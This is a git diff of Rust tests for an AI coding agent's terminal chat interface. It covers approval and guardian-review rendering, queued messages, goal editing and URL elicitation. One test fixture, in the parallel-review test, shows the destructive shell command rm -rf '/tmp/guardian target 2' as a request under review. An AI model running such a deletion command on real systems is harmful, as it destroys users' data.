&& config.approvals_reviewer == ApprovalsReviewer::AutoReview
{
"auto-review".to_string()
} else {
config.permissions.approval_policy.value().to_string()
}
}
fn parse_items_with_invalids<T>(ids: impl IntoIterator<Item = String>) -> (Vec<T>, Vec<String>)
where
T: std::str::FromStr,
-2
View File
@@ -149,7 +149,6 @@ pub(super) use codex_protocol::config_types::CollaborationMode;
pub(super) use codex_protocol::config_types::ModeKind;
pub(super) use codex_protocol::config_types::Personality;
pub(super) use codex_protocol::config_types::ServiceTier;
pub(super) use codex_protocol::config_types::Settings;
pub(super) use codex_protocol::models::FileSystemPermissions;
pub(super) use codex_protocol::models::MessagePhase;
pub(super) use codex_protocol::models::NetworkPermissions;
@@ -179,7 +178,6 @@ pub(super) use serde_json::json;
pub(super) use serial_test::serial;
pub(super) use std::collections::BTreeMap;
pub(super) use std::collections::HashMap;
pub(super) use std::collections::HashSet;
pub(super) use std::path::PathBuf;
pub(super) use tempfile::NamedTempFile;
pub(super) use tempfile::tempdir;
@@ -1,6 +1,42 @@
use super::*;
use pretty_assertions::assert_eq;
#[tokio::test]
async fn invalid_url_elicitation_is_declined() {
let (mut chat, _app_event_tx, mut rx, _op_rx) = make_chatwidget_manual_with_sender().await;
let thread_id = ThreadId::new();
chat.thread_id = Some(thread_id);
chat.handle_elicitation_request_now(
codex_app_server_protocol::RequestId::Integer(9),
codex_app_server_protocol::McpServerElicitationRequestParams {
thread_id: thread_id.to_string(),
turn_id: Some("turn-auth".to_string()),
server_name: "payments".to_string(),
request: codex_app_server_protocol::McpServerElicitationRequest::Url {
meta: None,
message: "Review the payment details to continue.".to_string(),
url: "http://payments.example/checkout/123".to_string(),
elicitation_id: "payment-123".to_string(),
},
},
);
assert_matches!(
rx.try_recv(),
Ok(AppEvent::SubmitThreadOp {
thread_id: op_thread_id,
op: Op::ResolveElicitation {
server_name,
request_id: codex_app_server_protocol::RequestId::Integer(9),
decision: codex_app_server_protocol::McpServerElicitationAction::Decline,
content: None,
meta: None,
},
}) if op_thread_id == thread_id && server_name == "payments"
);
}
#[tokio::test]
async fn collab_spawn_end_shows_requested_model_and_effort() {
let (mut chat, mut rx, _ops) = make_chatwidget_manual(/*model_override*/ None).await;
@@ -655,7 +691,7 @@ async fn live_app_server_stream_recovery_restores_previous_status_header() {
.expect("status indicator should be visible");
assert_eq!(status.header(), "Working");
assert_eq!(status.details(), None);
assert!(chat.retry_status_header.is_none());
assert!(chat.status_state.retry_status_header.is_none());
}
#[tokio::test]
@@ -55,6 +55,7 @@ fn app_server_exec_approval_request_splits_shell_wrapped_command() {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "item-1".to_string(),
started_at_ms: 0,
approval_id: Some("approval-1".to_string()),
reason: None,
network_approval_context: None,
@@ -93,6 +94,7 @@ fn app_server_exec_approval_request_preserves_permissions_context() {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "item-1".to_string(),
started_at_ms: 0,
approval_id: Some("approval-1".to_string()),
reason: None,
network_approval_context: Some(codex_app_server_protocol::NetworkApprovalContext {
@@ -156,6 +158,7 @@ fn app_server_request_permissions_preserves_file_system_permissions() {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "item-1".to_string(),
started_at_ms: 0,
cwd: cwd.clone(),
reason: Some("Select a workspace root".to_string()),
permissions: codex_app_server_protocol::RequestPermissionProfile {
@@ -12,10 +12,10 @@ use pretty_assertions::assert_eq;
async fn submission_preserves_text_elements_and_local_images() {
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let conversation_id = ThreadId::new();
let thread_id = ThreadId::new();
let rollout_file = NamedTempFile::new().unwrap();
let configured = crate::session_state::ThreadSessionState {
thread_id: conversation_id,
thread_id,
forked_from_id: None,
fork_parent_title: None,
thread_name: None,
@@ -29,8 +29,7 @@ async fn submission_preserves_text_elements_and_local_images() {
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(rollout_file.path().to_path_buf()),
};
@@ -95,7 +94,7 @@ async fn submission_preserves_text_elements_and_local_images() {
async fn submission_includes_configured_permission_profile() {
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let conversation_id = ThreadId::new();
let thread_id = ThreadId::new();
let rollout_file = NamedTempFile::new().unwrap();
let expected_permission_profile: PermissionProfile = AppServerPermissionProfile::Managed {
network: PermissionProfileNetworkPermissions { enabled: false },
@@ -119,7 +118,7 @@ async fn submission_includes_configured_permission_profile() {
}
.into();
let configured = crate::session_state::ThreadSessionState {
thread_id: conversation_id,
thread_id,
forked_from_id: None,
fork_parent_title: None,
thread_name: None,
@@ -133,8 +132,7 @@ async fn submission_includes_configured_permission_profile() {
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(rollout_file.path().to_path_buf()),
};
@@ -161,7 +159,7 @@ async fn submission_includes_configured_permission_profile() {
async fn submission_keeps_profile_when_legacy_projection_is_external() {
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let conversation_id = ThreadId::new();
let thread_id = ThreadId::new();
let rollout_file = NamedTempFile::new().unwrap();
let expected_permission_profile: PermissionProfile = AppServerPermissionProfile::Managed {
network: PermissionProfileNetworkPermissions { enabled: false },
@@ -169,7 +167,7 @@ async fn submission_keeps_profile_when_legacy_projection_is_external() {
}
.into();
let configured = crate::session_state::ThreadSessionState {
thread_id: conversation_id,
thread_id,
forked_from_id: None,
fork_parent_title: None,
thread_name: None,
@@ -183,8 +181,7 @@ async fn submission_keeps_profile_when_legacy_projection_is_external() {
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(rollout_file.path().to_path_buf()),
};
@@ -208,10 +205,10 @@ async fn submission_keeps_profile_when_legacy_projection_is_external() {
async fn submission_with_remote_and_local_images_keeps_local_placeholder_numbering() {
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let conversation_id = ThreadId::new();
let thread_id = ThreadId::new();
let rollout_file = NamedTempFile::new().unwrap();
let configured = crate::session_state::ThreadSessionState {
thread_id: conversation_id,
thread_id,
forked_from_id: None,
fork_parent_title: None,
thread_name: None,
@@ -225,8 +222,7 @@ async fn submission_with_remote_and_local_images_keeps_local_placeholder_numberi
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(rollout_file.path().to_path_buf()),
};
@@ -302,10 +298,10 @@ async fn submission_with_remote_and_local_images_keeps_local_placeholder_numberi
async fn enter_with_only_remote_images_submits_user_turn() {
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let conversation_id = ThreadId::new();
let thread_id = ThreadId::new();
let rollout_file = NamedTempFile::new().unwrap();
let configured = crate::session_state::ThreadSessionState {
thread_id: conversation_id,
thread_id,
forked_from_id: None,
fork_parent_title: None,
thread_name: None,
@@ -319,8 +315,7 @@ async fn enter_with_only_remote_images_submits_user_turn() {
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(rollout_file.path().to_path_buf()),
};
@@ -366,10 +361,10 @@ async fn enter_with_only_remote_images_submits_user_turn() {
async fn shift_enter_with_only_remote_images_does_not_submit_user_turn() {
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let conversation_id = ThreadId::new();
let thread_id = ThreadId::new();
let rollout_file = NamedTempFile::new().unwrap();
let configured = crate::session_state::ThreadSessionState {
thread_id: conversation_id,
thread_id,
forked_from_id: None,
fork_parent_title: None,
thread_name: None,
@@ -383,8 +378,7 @@ async fn shift_enter_with_only_remote_images_does_not_submit_user_turn() {
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(rollout_file.path().to_path_buf()),
};
@@ -405,10 +399,10 @@ async fn shift_enter_with_only_remote_images_does_not_submit_user_turn() {
async fn enter_with_only_remote_images_does_not_submit_when_modal_is_active() {
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let conversation_id = ThreadId::new();
let thread_id = ThreadId::new();
let rollout_file = NamedTempFile::new().unwrap();
let configured = crate::session_state::ThreadSessionState {
thread_id: conversation_id,
thread_id,
forked_from_id: None,
fork_parent_title: None,
thread_name: None,
@@ -422,8 +416,7 @@ async fn enter_with_only_remote_images_does_not_submit_when_modal_is_active() {
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(rollout_file.path().to_path_buf()),
};
@@ -444,10 +437,10 @@ async fn enter_with_only_remote_images_does_not_submit_when_modal_is_active() {
async fn enter_with_only_remote_images_does_not_submit_when_input_disabled() {
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let conversation_id = ThreadId::new();
let thread_id = ThreadId::new();
let rollout_file = NamedTempFile::new().unwrap();
let configured = crate::session_state::ThreadSessionState {
thread_id: conversation_id,
thread_id,
forked_from_id: None,
fork_parent_title: None,
thread_name: None,
@@ -461,8 +454,7 @@ async fn enter_with_only_remote_images_does_not_submit_when_input_disabled() {
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(rollout_file.path().to_path_buf()),
};
@@ -486,10 +478,10 @@ async fn enter_with_only_remote_images_does_not_submit_when_input_disabled() {
async fn submission_prefers_selected_duplicate_skill_path() {
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let conversation_id = ThreadId::new();
let thread_id = ThreadId::new();
let rollout_file = NamedTempFile::new().unwrap();
let configured = crate::session_state::ThreadSessionState {
thread_id: conversation_id,
thread_id,
forked_from_id: None,
fork_parent_title: None,
thread_name: None,
@@ -503,8 +495,7 @@ async fn submission_prefers_selected_duplicate_skill_path() {
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(rollout_file.path().to_path_buf()),
};
@@ -719,7 +710,7 @@ async fn interrupted_turn_restore_keeps_active_mode_for_resubmission() {
chat.set_collaboration_mask(plan_mask);
chat.on_task_started();
chat.queued_user_messages.push_back(
chat.input_queue.queued_user_messages.push_back(
UserMessage {
text: "Implement the plan.".to_string(),
local_images: Vec::new(),
@@ -734,7 +725,7 @@ async fn interrupted_turn_restore_keeps_active_mode_for_resubmission() {
handle_turn_interrupted(&mut chat, "turn-1");
assert_eq!(chat.bottom_pane.composer_text(), "Implement the plan.");
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
assert_eq!(chat.active_collaboration_mode_kind(), expected_mode);
chat.handle_key_event(KeyEvent::from(KeyCode::Enter));
@@ -894,7 +885,7 @@ async fn empty_enter_during_task_does_not_queue() {
chat.handle_key_event(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE));
// Ensure nothing was queued.
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
}
#[tokio::test]
@@ -903,7 +894,9 @@ async fn pending_steer_esc_does_not_steal_vim_insert_escape() {
let esc = KeyEvent::new(KeyCode::Esc, KeyModifiers::NONE);
chat.bottom_pane.set_task_running(/*running*/ true);
chat.pending_steers.push_back(pending_steer("queued steer"));
chat.input_queue
.pending_steers
.push_back(pending_steer("queued steer"));
chat.toggle_vim_mode_and_notify();
chat.handle_key_event(KeyEvent::new(KeyCode::Char('i'), KeyModifiers::NONE));
@@ -911,8 +904,8 @@ async fn pending_steer_esc_does_not_steal_vim_insert_escape() {
chat.handle_key_event(esc);
assert!(!chat.should_handle_vim_insert_escape(esc));
assert_eq!(chat.pending_steers.len(), 1);
assert!(!chat.submit_pending_steers_after_interrupt);
assert_eq!(chat.input_queue.pending_steers.len(), 1);
assert!(!chat.input_queue.submit_pending_steers_after_interrupt);
assert!(op_rx.try_recv().is_err());
chat.handle_key_event(esc);
@@ -921,7 +914,7 @@ async fn pending_steer_esc_does_not_steal_vim_insert_escape() {
Ok(Op::Interrupt) => {}
other => panic!("expected Op::Interrupt, got {other:?}"),
}
assert!(chat.submit_pending_steers_after_interrupt);
assert!(chat.input_queue.submit_pending_steers_after_interrupt);
}
#[tokio::test]
@@ -945,14 +938,14 @@ async fn restore_thread_input_state_syncs_sleep_inhibitor_state() {
agent_turn_running: true,
}));
assert!(chat.agent_turn_running);
assert!(chat.turn_sleep_inhibitor.is_turn_running());
assert!(chat.turn_lifecycle.agent_turn_running);
assert!(chat.turn_lifecycle.sleep_inhibitor.is_turn_running());
assert!(chat.bottom_pane.is_task_running());
chat.restore_thread_input_state(/*input_state*/ None);
assert!(!chat.agent_turn_running);
assert!(!chat.turn_sleep_inhibitor.is_turn_running());
assert!(!chat.turn_lifecycle.agent_turn_running);
assert!(!chat.turn_lifecycle.sleep_inhibitor.is_turn_running());
assert!(!chat.bottom_pane.is_task_running());
}
@@ -968,9 +961,11 @@ async fn alt_up_edits_most_recent_queued_message() {
chat.bottom_pane.set_task_running(/*running*/ true);
// Seed two queued messages.
chat.queued_user_messages
chat.input_queue
.queued_user_messages
.push_back(UserMessage::from("first queued".to_string()).into());
chat.queued_user_messages
chat.input_queue
.queued_user_messages
.push_back(UserMessage::from("second queued".to_string()).into());
chat.refresh_pending_input_preview();
@@ -983,9 +978,9 @@ async fn alt_up_edits_most_recent_queued_message() {
"second queued".to_string()
);
// And the queue should now contain only the remaining (older) item.
assert_eq!(chat.queued_user_messages.len(), 1);
assert_eq!(chat.input_queue.queued_user_messages.len(), 1);
assert_eq!(
chat.queued_user_messages.front().unwrap().text,
chat.input_queue.queued_user_messages.front().unwrap().text,
"first queued"
);
}
@@ -998,14 +993,15 @@ async fn unbound_queued_message_edit_does_not_fall_back_to_alt_up() {
chat.bottom_pane
.set_queued_message_edit_binding(chat.queued_message_edit_hint_binding);
chat.bottom_pane.set_task_running(/*running*/ true);
chat.queued_user_messages
chat.input_queue
.queued_user_messages
.push_back(UserMessage::from("queued".to_string()).into());
chat.refresh_pending_input_preview();
chat.handle_key_event(KeyEvent::new(KeyCode::Up, KeyModifiers::ALT));
assert!(chat.bottom_pane.composer_text().is_empty());
assert_eq!(chat.queued_user_messages.len(), 1);
assert_eq!(chat.input_queue.queued_user_messages.len(), 1);
}
#[tokio::test]
@@ -1135,8 +1131,8 @@ async fn enqueueing_history_prompt_multiple_times_is_stable() {
chat.handle_key_event(KeyEvent::new(KeyCode::Tab, KeyModifiers::NONE));
}
assert_eq!(chat.queued_user_messages.len(), 3);
for message in chat.queued_user_messages.iter() {
assert_eq!(chat.input_queue.queued_user_messages.len(), 3);
for message in chat.input_queue.queued_user_messages.iter() {
assert_eq!(message.text, "repeat me");
}
}
@@ -1253,9 +1249,11 @@ async fn interrupt_restores_queued_messages_into_composer() {
chat.bottom_pane.set_task_running(/*running*/ true);
// Queue two user messages while the task is running.
chat.queued_user_messages
chat.input_queue
.queued_user_messages
.push_back(UserMessage::from("first queued".to_string()).into());
chat.queued_user_messages
chat.input_queue
.queued_user_messages
.push_back(UserMessage::from("second queued".to_string()).into());
chat.refresh_pending_input_preview();
@@ -1269,7 +1267,7 @@ async fn interrupt_restores_queued_messages_into_composer() {
);
// Queue should be cleared and no new user input should have been auto-submitted.
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
assert!(
op_rx.try_recv().is_err(),
"unexpected outbound op after interrupt"
@@ -1287,9 +1285,11 @@ async fn interrupt_prepends_queued_messages_before_existing_composer_text() {
chat.bottom_pane
.set_composer_text("current draft".to_string(), Vec::new(), Vec::new());
chat.queued_user_messages
chat.input_queue
.queued_user_messages
.push_back(UserMessage::from("first queued".to_string()).into());
chat.queued_user_messages
chat.input_queue
.queued_user_messages
.push_back(UserMessage::from("second queued".to_string()).into());
chat.refresh_pending_input_preview();
@@ -1299,7 +1299,7 @@ async fn interrupt_prepends_queued_messages_before_existing_composer_text() {
chat.bottom_pane.composer_text(),
"first queued\nsecond queued\ncurrent draft"
);
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
assert!(
op_rx.try_recv().is_err(),
"unexpected outbound op after interrupt"
+12 -12
View File
@@ -54,6 +54,7 @@ fn app_server_exec_approval_request_splits_shell_wrapped_command() {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "item-1".to_string(),
started_at_ms: 0,
approval_id: Some("approval-1".to_string()),
reason: None,
network_approval_context: None,
@@ -458,7 +459,7 @@ async fn exec_end_without_begin_flushes_completed_unrelated_exploring_cell() {
"expected orphan end entry after flush: {second:?}"
);
assert!(
chat.active_cell.is_none(),
chat.transcript.active_cell.is_none(),
"both entries should be finalized"
);
}
@@ -705,9 +706,9 @@ async fn unified_exec_wait_status_header_updates_on_late_command_display() {
terminal_interaction(&mut chat, "call-1", "proc-1", "");
assert!(chat.active_cell.is_none());
assert!(chat.transcript.active_cell.is_none());
assert_eq!(
chat.current_status.header,
chat.status_state.current_status.header,
"Waiting for background terminal"
);
let status = chat
@@ -727,7 +728,7 @@ async fn unified_exec_waiting_multiple_empty_snapshots() {
terminal_interaction(&mut chat, "call-wait-1a", "proc-1", "");
terminal_interaction(&mut chat, "call-wait-1b", "proc-1", "");
assert_eq!(
chat.current_status.header,
chat.status_state.current_status.header,
"Waiting for background terminal"
);
let status = chat
@@ -793,7 +794,7 @@ async fn unified_exec_non_empty_then_empty_snapshots() {
terminal_interaction(&mut chat, "call-wait-3a", "proc-3", "pwd\n");
terminal_interaction(&mut chat, "call-wait-3b", "proc-3", "");
assert_eq!(
chat.current_status.header,
chat.status_state.current_status.header,
"Waiting for background terminal"
);
let status = chat
@@ -941,10 +942,10 @@ async fn user_shell_command_renders_output_not_exploring() {
#[tokio::test]
async fn bang_shell_enter_while_task_running_submits_run_user_shell_command() {
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let conversation_id = ThreadId::new();
let thread_id = ThreadId::new();
let rollout_file = NamedTempFile::new().unwrap();
let configured = crate::session_state::ThreadSessionState {
thread_id: conversation_id,
thread_id,
forked_from_id: None,
fork_parent_title: None,
thread_name: None,
@@ -958,8 +959,7 @@ async fn bang_shell_enter_while_task_running_submits_run_user_shell_command() {
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(rollout_file.path().to_path_buf()),
};
@@ -977,8 +977,8 @@ async fn bang_shell_enter_while_task_running_submits_run_user_shell_command() {
other => panic!("expected RunUserShellCommand op, got {other:?}"),
}
assert_matches!(
op_rx.try_recv(),
Ok(Op::AddToHistory { text }) if text == "!echo hi"
rx.try_recv(),
Ok(AppEvent::AppendMessageHistoryEntry { text, .. }) if text == "!echo hi"
);
assert_matches!(rx.try_recv(), Err(TryRecvError::Empty));
}
@@ -1022,7 +1022,7 @@ async fn user_message_during_user_shell_command_is_queued_not_steered() {
),
other => panic!("expected queued user message after shell completion, got {other:?}"),
}
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
}
#[tokio::test]
@@ -58,6 +58,103 @@ async fn resume_paused_goal_prompt_snapshot() {
);
}
#[tokio::test]
async fn goal_edit_prompt_snapshot() {
let (mut chat, _rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let thread_id = ThreadId::new();
chat.show_goal_edit_prompt(
thread_id,
test_goal(
thread_id,
AppThreadGoalStatus::Active,
/*token_budget*/ Some(80_000),
),
);
assert_chatwidget_snapshot!(
"goal_edit_prompt",
render_bottom_popup(&chat, /*width*/ 100)
);
}
#[tokio::test]
async fn goal_edit_prompt_submits_preserved_status_and_budget() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let thread_id = ThreadId::new();
chat.show_goal_edit_prompt(
thread_id,
test_goal(
thread_id,
AppThreadGoalStatus::Paused,
/*token_budget*/ Some(80_000),
),
);
chat.handle_paste(" with clearer wording".to_string());
chat.handle_key_event(KeyEvent::from(KeyCode::Enter));
match rx.try_recv() {
Ok(AppEvent::SetThreadGoalObjective {
thread_id: event_thread_id,
objective,
mode:
crate::app_event::ThreadGoalSetMode::UpdateExisting {
status,
token_budget,
},
}) => {
assert_eq!(event_thread_id, thread_id);
assert_eq!(
objective,
"Keep improving the bare goal command until it feels calm and useful. with clearer wording"
);
assert_eq!(status, AppThreadGoalStatus::Paused);
assert_eq!(token_budget, Some(80_000));
}
other => panic!("expected SetThreadGoalObjective event, got {other:?}"),
}
assert!(chat.no_modal_or_popup_active());
}
#[tokio::test]
async fn goal_edit_prompt_resets_terminal_status_to_active() {
let cases = [
AppThreadGoalStatus::BudgetLimited,
AppThreadGoalStatus::Complete,
];
for terminal_status in cases {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
let thread_id = ThreadId::new();
chat.show_goal_edit_prompt(
thread_id,
test_goal(
thread_id,
terminal_status,
/*token_budget*/ Some(80_000),
),
);
chat.handle_key_event(KeyEvent::from(KeyCode::Enter));
match rx.try_recv() {
Ok(AppEvent::SetThreadGoalObjective {
mode:
crate::app_event::ThreadGoalSetMode::UpdateExisting {
status,
token_budget,
},
..
}) => {
assert_eq!(status, AppThreadGoalStatus::Active);
assert_eq!(token_budget, Some(80_000));
}
other => panic!("expected SetThreadGoalObjective event, got {other:?}"),
}
}
}
#[tokio::test]
async fn resume_paused_goal_prompt_default_resumes_goal() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
@@ -195,7 +195,7 @@ async fn queued_goal_slash_command_rejects_oversized_objective_and_drains_next_i
queue_composer_text_with_tab(&mut chat, &format!("/goal {objective}"));
queue_composer_text_with_tab(&mut chat, "continue");
assert_eq!(chat.queued_user_messages.len(), 2);
assert_eq!(chat.input_queue.queued_user_messages.len(), 2);
complete_turn_with_message(&mut chat, "turn-1", Some("done"));
@@ -219,6 +219,6 @@ async fn queued_goal_slash_command_rejects_oversized_objective_and_drains_next_i
),
other => panic!("expected queued follow-up after oversized goal, got {other:?}"),
}
assert!(chat.queued_user_messages.is_empty());
assert!(chat.input_queue.queued_user_messages.is_empty());
assert_no_submit_op(&mut op_rx);
}
+36 -2
View File
@@ -6,6 +6,8 @@ fn auto_review_denial_event() -> GuardianAssessmentEvent {
id: "auto-review-recent-1".into(),
target_item_id: Some("target-auto-review-recent-1".into()),
turn_id: "turn-recent-1".into(),
started_at_ms: 0,
completed_at_ms: Some(1),
status: GuardianAssessmentStatus::Denied,
risk_level: Some(GuardianRiskLevel::High),
user_authorization: Some(GuardianUserAuthorization::Low),
@@ -73,6 +75,8 @@ async fn guardian_denied_exec_renders_warning_and_denied_request() {
id: "guardian-1".into(),
target_item_id: Some("guardian-target-1".into()),
turn_id: "turn-1".into(),
started_at_ms: 0,
completed_at_ms: None,
status: GuardianAssessmentStatus::InProgress,
risk_level: None,
user_authorization: None,
@@ -85,6 +89,8 @@ async fn guardian_denied_exec_renders_warning_and_denied_request() {
id: "guardian-1".into(),
target_item_id: Some("guardian-target-1".into()),
turn_id: "turn-1".into(),
started_at_ms: 0,
completed_at_ms: Some(1),
status: GuardianAssessmentStatus::Denied,
risk_level: Some(GuardianRiskLevel::High),
user_authorization: Some(GuardianUserAuthorization::Low),
@@ -127,6 +133,8 @@ async fn guardian_approved_exec_renders_approved_request() {
id: "thread:child-thread:guardian-1".into(),
target_item_id: Some("guardian-approved-target".into()),
turn_id: "turn-1".into(),
started_at_ms: 0,
completed_at_ms: Some(1),
status: GuardianAssessmentStatus::Approved,
risk_level: Some(GuardianRiskLevel::Low),
user_authorization: Some(GuardianUserAuthorization::High),
@@ -183,6 +191,8 @@ async fn guardian_approved_request_permissions_renders_request_summary() {
id: "guardian-request-permissions".into(),
target_item_id: None,
turn_id: "turn-1".into(),
started_at_ms: 0,
completed_at_ms: None,
status: GuardianAssessmentStatus::InProgress,
risk_level: None,
user_authorization: None,
@@ -205,6 +215,8 @@ async fn guardian_approved_request_permissions_renders_request_summary() {
id: "guardian-request-permissions".into(),
target_item_id: None,
turn_id: "turn-1".into(),
started_at_ms: 0,
completed_at_ms: Some(1),
status: GuardianAssessmentStatus::Approved,
risk_level: Some(GuardianRiskLevel::Low),
user_authorization: Some(GuardianUserAuthorization::High),
@@ -253,6 +265,8 @@ async fn guardian_timed_out_exec_renders_warning_and_timed_out_request() {
id: "guardian-1".into(),
target_item_id: Some("guardian-target-1".into()),
turn_id: "turn-1".into(),
started_at_ms: 0,
completed_at_ms: None,
status: GuardianAssessmentStatus::InProgress,
risk_level: None,
user_authorization: None,
@@ -265,6 +279,8 @@ async fn guardian_timed_out_exec_renders_warning_and_timed_out_request() {
id: "guardian-1".into(),
target_item_id: Some("guardian-target-1".into()),
turn_id: "turn-1".into(),
started_at_ms: 0,
completed_at_ms: Some(1),
status: GuardianAssessmentStatus::TimedOut,
risk_level: None,
user_authorization: None,
@@ -315,6 +331,7 @@ async fn app_server_guardian_review_started_sets_review_status() {
ItemGuardianApprovalReviewStartedNotification {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
started_at_ms: 0,
review_id: "guardian-1".to_string(),
target_item_id: Some("guardian-target-1".to_string()),
review: GuardianApprovalReview {
@@ -356,6 +373,7 @@ async fn app_server_guardian_review_denied_renders_denied_request_snapshot() {
ItemGuardianApprovalReviewStartedNotification {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
started_at_ms: 0,
review_id: "guardian-1".to_string(),
target_item_id: Some("guardian-target-1".to_string()),
review: GuardianApprovalReview {
@@ -375,6 +393,8 @@ async fn app_server_guardian_review_denied_renders_denied_request_snapshot() {
ItemGuardianApprovalReviewCompletedNotification {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
started_at_ms: 0,
completed_at_ms: 1,
review_id: "guardian-1".to_string(),
target_item_id: Some("guardian-target-1".to_string()),
decision_source: AppServerGuardianApprovalReviewDecisionSource::Agent,
@@ -431,6 +451,7 @@ async fn app_server_guardian_review_timed_out_renders_timed_out_request_snapshot
ItemGuardianApprovalReviewStartedNotification {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
started_at_ms: 0,
review_id: "guardian-1".to_string(),
target_item_id: Some("guardian-target-1".to_string()),
review: GuardianApprovalReview {
@@ -450,6 +471,8 @@ async fn app_server_guardian_review_timed_out_renders_timed_out_request_snapshot
ItemGuardianApprovalReviewCompletedNotification {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
started_at_ms: 0,
completed_at_ms: 1,
review_id: "guardian-1".to_string(),
target_item_id: Some("guardian-target-1".to_string()),
decision_source: AppServerGuardianApprovalReviewDecisionSource::Agent,
@@ -506,6 +529,8 @@ async fn guardian_parallel_reviews_render_aggregate_status_snapshot() {
id: id.to_string(),
target_item_id: Some(format!("{id}-target")),
turn_id: "turn-1".to_string(),
started_at_ms: 0,
completed_at_ms: None,
status: GuardianAssessmentStatus::InProgress,
risk_level: None,
user_authorization: None,
@@ -535,6 +560,8 @@ async fn guardian_parallel_reviews_keep_remaining_review_visible_after_denial()
id: "guardian-1".to_string(),
target_item_id: Some("guardian-1-target".to_string()),
turn_id: "turn-1".to_string(),
started_at_ms: 0,
completed_at_ms: None,
status: GuardianAssessmentStatus::InProgress,
risk_level: None,
user_authorization: None,
@@ -550,6 +577,8 @@ async fn guardian_parallel_reviews_keep_remaining_review_visible_after_denial()
id: "guardian-2".to_string(),
target_item_id: Some("guardian-2-target".to_string()),
turn_id: "turn-1".to_string(),
started_at_ms: 0,
completed_at_ms: None,
status: GuardianAssessmentStatus::InProgress,
risk_level: None,
user_authorization: None,
@@ -565,6 +594,8 @@ async fn guardian_parallel_reviews_keep_remaining_review_visible_after_denial()
id: "guardian-1".to_string(),
target_item_id: Some("guardian-1-target".to_string()),
turn_id: "turn-1".to_string(),
started_at_ms: 0,
completed_at_ms: Some(1),
status: GuardianAssessmentStatus::Denied,
risk_level: Some(GuardianRiskLevel::High),
user_authorization: Some(GuardianUserAuthorization::Low),
@@ -577,9 +608,12 @@ async fn guardian_parallel_reviews_keep_remaining_review_visible_after_denial()
},
});
assert_eq!(chat.current_status.header, "Reviewing approval request");
assert_eq!(
chat.current_status.details,
chat.status_state.current_status.header,
"Reviewing approval request"
);
assert_eq!(
chat.status_state.current_status.details,
Some("rm -rf '/tmp/guardian target 2'".to_string())
);
}
+66 -169
View File
